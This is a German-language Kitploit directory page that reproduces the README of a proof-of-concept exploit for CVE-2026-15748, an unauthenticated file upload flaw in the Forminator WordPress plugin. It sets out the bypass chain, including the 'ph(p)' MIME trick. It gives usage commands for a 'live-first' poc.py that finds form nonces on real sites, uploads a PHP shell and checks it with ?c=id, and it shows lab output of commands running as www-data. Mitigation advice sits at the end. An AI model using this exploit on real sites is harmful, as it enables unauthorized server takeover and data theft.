Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-15748 — Forminator Forms <= 1.56.1 – Nicht authentifizierter beliebiger Datei-Upload über manipulierte Upload-Feld-Konfiguration | Kitploit
Tools/GitHubGitHub/ubaydev/cve-2026-15748
SchwachstellenanalyseExploitationWebanwendungs-ExploitationWebsicherheitPenetrationstestsRed Teaming
GitHububaydev/cve-2026-15748

CVE-2026-15748

Forminator Forms <= 1.56.1 – Nicht authentifizierter beliebiger Datei-Upload über manipulierte Upload-Feld-Konfiguration

Repository anzeigen
3vor 21 TagenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-15748 — Forminator Forms: Nicht authentifizierter beliebiger Datei-Upload → RCE

CVSS 9.8 (Kritisch) · Betroffen: Forminator <= 1.56.1 · Behoben: 1.56.2 Forscher: daroo (Wordfence Bug Bounty, $2.048) · ~600.000 aktive Installationen Write-up: wordfence.com/blog/2026/08/600000-wordpress-sites-affected-by-arbitrary-file-upload-vulnerability-in-forminator-forms-wordpress-plugin/

Ursachenkette

Drei Schwachstellen, verknüpft über einen gefälschten Wert des Select-Felds:

  1. Keine Bereinigung verschachtelter Feld-Arrays — Forminator_CForm_Front_Action::set_field_data() prepare_fields_info() iteriert über jedes gespeicherte Feld. Für das gespeicherte Select-Feld select-1 ist $field_data = prepared_data['select-1'] ein angreiferkontrolliertes verschachteltes Array. Wenn es enthält, wird das Array im Ganzen an angehängt (front-action.php ~Zeile 1088), noch bevor eine bereinigende/validierende Verarbeitung pro Feld erfolgt. entfernt diese nicht.

return
field_data_array
maybe_handle_custom_option()
  • Nicht vertrauenswürdige Feldkonfiguration wird beim Upload als vertrauenswürdig behandelt — Forminator_CForm_Front_Action::process_uploads() iteriert über field_data_array, vertraut dem gefälschten field_type == 'upload', verwendet den gefälschten name, um einen $_FILES-Eingang auszuwählen, und übergibt das gefälschte field_array als vertrauenswürdige Konfiguration an Forminator_Upload::handle_file_upload().

  • Exact-Key-Bypass der Blockliste — forminator_allowed_mime_types() entfernt den wörtlichen Schlüssel php, aber wp_check_filetype() behandelt Schlüssel als Regex. Der Schlüssel ph(p) übersteht die Blockliste und matcht dennoch den .php-Suffix. additional-type = ph(p)|text/x-php lässt eine .php-Datei die Validierung passieren.

  • Ausnutzbarkeitsbedingung

    Ein veröffentlichtes Formular muss sowohl ein Datei-Upload-Feld als auch ein Select-Feld enthalten. Select ist nur der Träger.

    Ausführungshinweis (LAB-VERIFIZIERT)

    • Der Upload beliebiger .php-Dateien auf die Festplatte gelingt standardmäßig (für das Schreiben ist keine besondere Konfiguration erforderlich).
    • RCE erfordert, dass dem Upload-Rootverzeichnis eine Apache-.htaccess fehlt. Sowohl das Standard-Rootverzeichnis von Forminator als auch ein benutzerdefiniertes Rootverzeichnis erhalten eine .htaccess, die PHP blockiert (SetHandler none / RemoveHandler). RCE greift nur, wenn diese .htaccess fehlt — das Szenario des Write-ups: „ein benutzerdefiniertes Speicher-Rootverzeichnis, das während einer Frontend-Anfrage erstellt wird, in der insert_with_markers() nicht geladen ist“.
    • Im Labor haben wir RCE erreicht, indem wir ein benutzerdefiniertes Speicher-Rootverzeichnis verwendet und den Zustand ohne .htaccess simuliert haben.

    Upload-Pfad & Hash (wichtig für Live-Tests)

    • Standard-Rootverzeichnis: wp-content/uploads/forminator/ → Datei unter wp-content/uploads/forminator/{form_id}_{hash}/uploads/<file>.
    • Benutzerdefiniertes Rootverzeichnis: Wenn der Admin forminator_custom_upload_root gesetzt hat (z. B. cveuploads), landen Dateien unter wp-content/uploads/cveuploads/{form_id}_{hash}/uploads/<file>.
    • Der <hash> ist wp_hash($form_id) — abgeleitet aus den AUTH-Salts der Site, also extern nicht vorhersagbar. poc.py gibt das Pfadmuster aus; um es zu vervollständigen, muss der Hash wiederhergestellt werden (Verzeichnislisting, URL/Log einer bereits hochgeladenen Datei, ein Eintrag im Adminbereich usw.) über --form-hash.
    • Name der hochgeladenen Datei = wp_generate_password(12,false,false) . '-' . <original> → z. B. cX3fRjMDDu03-shell.php (12 zufällige alphanumerische Zeichen + - + Originalname).

    Verwendung — poc.py

    Designbedingt Live-First; Helfer fürs lokale Labor (Dateisystem-Scan, .htaccess-Entfernung) sind ausschließlich auf http://wordpresslab.test / http://localhost beschränkt.

    root@kitploit:~
    # A) Simplest (auto-discover): fetch page, parse nonce/form_id/fields, auto-fill, upload
    python3 poc.py --target https://site.tld/                       # url-only -> fetches index
    python3 poc.py --target https://site.tld/kontak                # path given -> fetches that page
    python3 poc.py --target https://site.tld/ --page-id 42         # append ?page_id=42
    
    # B) Manual nonce/form-id (skip discovery, still fetches page for --auto harvest)
    python3 poc.py --target https://site.tld/ --form-id 4840 --nonce 69c8f06303
    
    # C) Verify a candidate shell URL on a live target
    python3 poc.py --target https://site.tld/ --form-id 4840 --nonce 69c8f06303 \
        --verify-url "https://site.tld/wp-content/uploads/forminator/4840_<hash>/uploads/<12char>-shell.php"
    
    # D) local lab: full RCE (scans container FS, removes .htaccess, executes)
    python3 poc.py --target http://wordpresslab.test --page-id 32 --find-shell
    

    Flags

    FlagBedeutung
    --targetBasis-URL (oder vollständige Seiten-URL, wenn kein --page-id/manuelle Angabe)
    --page-idBeitrags-ID; wenn leer, wird die Ziel-URL selbst nach nonce/form_id durchsucht
    --form-id, --nonceDiscovery umgehen; ruft die Seite trotzdem für die --auto-Ernte ab
    --upload-fieldName des echten Upload-Felds (Standard upload-1)
    --forge-nameGefälschter $_FILES-Träger (Standard = echter Name, Kollisionsmodus; für ein sauberes success=True einen abweichenden Namen verwenden)
    --selectZu verwendendes Select-Feld (Standard select-1)
    --extra name=valueEinen Feldwert erzwingen (wiederholbar; --extra 'checkbox-1[]=a+b' für mehrere Werte)
    --auto / --no-autoEchte Formularfelder aus dem HTML auslesen und plausible Werte nach Typ automatisch ausfüllen (Standard: aktiv)
    --upload-rootRelatives Upload-Rootverzeichnis (Standard wp-content/uploads/forminator; für ein benutzerdefiniertes Rootverzeichnis z. B. wp-content/uploads/cveuploads setzen)
    --form-hashDer <hash>-Teil des Upload-Verzeichnisses → vervollständigt/gibt eine konkrete URL aus
    --verify-urlLive: Kandidaten-Shell-URL mit ?c=id/?c=whoami testen
    --find-shellNur lokal (wordpresslab.test/localhost): neueste *-shell.php finden, .htaccess entfernen, ausführen
    --no-htaccessHinweis zur .htaccess-Entfernung im lokalen Labor ausgeben

    --auto-Wertzuordnung (aus dem Formular-HTML ausgelesen)

    FeldtypErzeugter Wert
    email / Name enthält emailauto<rand>@mailinator.com
    tel / Name enthält phone10 zufällige Ziffern
    url / Name enthält urlhttps://example.com/<rand>
    numberzufällig 1–9999
    date2026-08-19
    Checkbox-/Radio-Gruppe name[]erster Optionswert (alle Eingaben mit demselben Namen werden gescannt)
    einzelne Checkbox/Radiovalue-Attribut, Fallback checked
    <select> (nicht Träger)erste nicht-leere Option
    <textarea>zufälliger Text
    Klartext10 zufällige Zeichen

    Übersprungen: interne Felder (action/form_id/nonce/...), type="file" (upload-*), select-* (Exploit-Träger), calculation-* (berechnet) sowie Felder fremder Plugins (wpforms[...]).

    Reproduktion im Labor (wordpresslab.test, WP 6.9.4 + Forminator 1.56.1)

    Setup:

    • Formular mit einem echten Upload-Feld + einem Select-Feld (erstellt über build_form.php, Forminator_Form_Model-API).
    • Benutzerdefiniertes Upload-Speicher-Rootverzeichnis aktiviert (forminator_custom_upload=1, forminator_custom_upload_root=cveuploads), damit wir RCE demonstrieren können. cveuploads/ ist ein Labor-Artefakt, kein Forminator-Standard.
    • Designhinweis: Für ein sauberes success=True sollte sich der gefälschte name vom element_id des echten Upload-Felds unterscheiden. Ein kollidierender Name lädt die Datei zwar trotzdem hoch, aber das echte Feld führt zusätzlich seine eigene Standard-MIME-Prüfung aus → die Antwort meldet einen Fehler, während die Shell bereits auf der Festplatte liegt.

    Rohausgabe (Laborlauf):

    root@kitploit:~
    # default path pattern (hash is site-secret):
    wp-content/uploads/forminator/<form_id>_<hash>/uploads/<12char>-shell.php
    
    [+] shell at: http://wordpresslab.test/wp-content/uploads/cveuploads/31_8e64.../uploads/cX3fRjMDDu03-shell.php
    ?c=id     -> CVE-2026-15748-RCE uid=33(www-data) gid=33(www-data) groups=33(www-data)
    ?c=whoami -> CVE-2026-15748-RCE www-data
    
    # .htaccess present (protected): request returns raw PHP source (not executed)
    

    Dateien

    • poc.py — Live-First-PoC (Auto-Discovery, Auto-Ausfüllen, verify-url, lokaler RCE-Helfer)
    • build_form.php — programmatischer Labor-Formular-Builder (Upload + Select) über die Modell-API
    • README.md — dieses Dokument

    Gegenmaßnahmen

    • Auf Forminator >= 1.56.2 aktualisieren (blockiert den MIME-Blocklisten-Bypass sowie den Pfad der vertrauenswürdigen Feldkonfiguration).
    • Sicherstellen, dass jedes benutzerdefinierte Upload-Speicher-Rootverzeichnis durch die .htaccess-/Index-Schutzmechanismen von Forminator abgedeckt ist.
    • Den PoC nur gegen Ziele ausführen, für die eine Autorisierung zum Testen vorliegt.
    Tool herunterladen